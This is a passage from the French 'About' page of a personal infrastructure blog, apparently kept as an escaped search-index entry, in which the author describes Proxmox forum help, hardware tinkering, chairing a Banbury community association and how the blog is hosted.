Windows 2000, XP et Vista et j\u0026rsquo;ai fait remonter les résultats à la communauté.\nAujourd\u0026rsquo;hui je contribue activement sur les forums de la communauté Proxmox sous DamienDye. J\u0026rsquo;y aide sur la performance du passthrough NVMe, le réglage des VM Windows, le dépannage Ceph et le réseau de grappes.\nLes technologies changent. Le principe non. Si j\u0026rsquo;ai résolu un problème, il n\u0026rsquo;y a rien à gagner à rester assis dessus, et quelqu\u0026rsquo;un, à deux heures du matin dans six mois, sera content que ce soit écrit.\nJ\u0026rsquo;ai aussi l\u0026rsquo;habitude de creuser les problèmes au-delà de ce que la tâche exige strictement. J\u0026rsquo;ai conçu une carte maison de protection contre les coupures d\u0026rsquo;alimentation pour NVMe, parce que je voulais comprendre exactement pourquoi la corruption de FTL survient au niveau matériel. J\u0026rsquo;ai étudié les protocoles de messagerie auto-hébergée parce que je voulais comprendre JMAP depuis la RFC plutôt que de faire confiance à un prestataire. J\u0026rsquo;ai construit ce blog parce qu\u0026rsquo;écrire les choses correctement est la façon de trouver les trous dans sa propre compréhension.\nLa communauté loin du clavier Tout cela n\u0026rsquo;a pas été que des forums.\nEn 2018 j\u0026rsquo;ai été un des fondateurs de la Longford Park Community Association à Banbury, dans le lotissement où j\u0026rsquo;habite. Quatre phases de construction neuve, un centre communautaire inscrit dans les plans, et rien qui existe pour le faire vivre. Alors une poignée d\u0026rsquo;habitants a monté quelque chose.\nJ\u0026rsquo;ai fait la partie informatique d\u0026rsquo;abord, parce que c\u0026rsquo;est ce que j\u0026rsquo;avais à donner. Le domaine lpca.org.uk est passé en ligne en janvier 2018, et derrière j\u0026rsquo;ai bâti le site, les systèmes de messagerie et les listes du comité, et rédigé la politique de confidentialité.\nJ\u0026rsquo;ai été au comité dès le départ, et j\u0026rsquo;en ai été le président de décembre 2018 à février 2020. Quatorze mois, et les choses qui comptaient vraiment ont toutes abouti dans cet intervalle. Nous l\u0026rsquo;avons fait enregistrer comme organisme de bienfaisance le 11 février 2019, numéro 1181953. J\u0026rsquo;ai réglé le bail commercial du bâtiment. Puis nous avons ouvert le centre.\nC\u0026rsquo;est à cela que servait la présidence. Pas à des ordres du jour et des comptes rendus. À ouvrir un bâtiment dans lequel quelques centaines de foyers peuvent entrer. Des bénévoles du quartier le font encore vivre sur les phases 1 à 4 du lotissement — trois salles, une cuisine et un parking, loués à l\u0026rsquo;heure à qui en veut dans le lotissement.\nLes comités de bénévoles tournent à la bonne volonté, et la bonne volonté n\u0026rsquo;est pas un modèle de gouvernance. Alors j\u0026rsquo;ai tenu les gens aux statuts, moi compris. J\u0026rsquo;ai demandé pourquoi nous recrutions à l\u0026rsquo;extérieur quand les statuts disaient d\u0026rsquo;impliquer les habitants, et j\u0026rsquo;ai arrêté un envoi groupé qui serait tombé dans tous les dossiers indésirables du lotissement. Pas pour être difficile. Une association d\u0026rsquo;habitants qui ne peut pas joindre les habitants a déjà échoué à la seule mission qu\u0026rsquo;elle a, et j\u0026rsquo;ai envoyé les liens pour le corriger en même temps que la remarque.\nLe centre est toujours ouvert et je ne suis plus au comité, et c\u0026rsquo;est le bon sens de la chose. Ce qui ne fonctionne que tant que vous êtes là à le tenir n\u0026rsquo;a jamais été bâti correctement.\nCe site Ce blog est un site statique Hugo avec le thème PaperMod. Il est hébergé sur Cloudflare Workers, qui sert le site construit comme des ressources statiques.\nJ\u0026rsquo;écris ici sur l\u0026rsquo;infrastructure avec laquelle je travaille au quotidien : Proxmox VE, Ceph, Ansible, Netbox, les certificats et tout ce que j\u0026rsquo;ai creusé cette semaine-là. C\u0026rsquo;est écrit pour être utilisé, avec les commandes et les chiffres dedans, parce qu\u0026rsquo;un billet qu\u0026rsquo;on ne peut pas suivre au clavier est de la décoration. Pas de baratin marketing. Si quelque chose a des angles rugueux, le billet le dit.\nMe contacter Vous me trouverez sur LinkedIn ou sur les forums Proxmox.\nSi vous regardez Ceph ou Proxmox pour chez vous et que vous voulez une vraie conversation plutôt qu\u0026rsquo;un argumentaire, écrivez-moi. Apportez la charge de travail, les contraintes et le budget que vous avez réellement. Je vous dirai ce que cela fera, ce que cela ne fera pas, et si la réponse honnête est que vous devriez garder ce que vous avez et le configurer correctement, vous aurez aussi cette réponse-là.\n","permalink":"https://blogs.damiendye.uk/fr/about/","summary":"Damien Dye — ingénieur avant-vente, spécialiste infrastructure et défenseur de l\u0026rsquo;open source.","title":"À propos"}]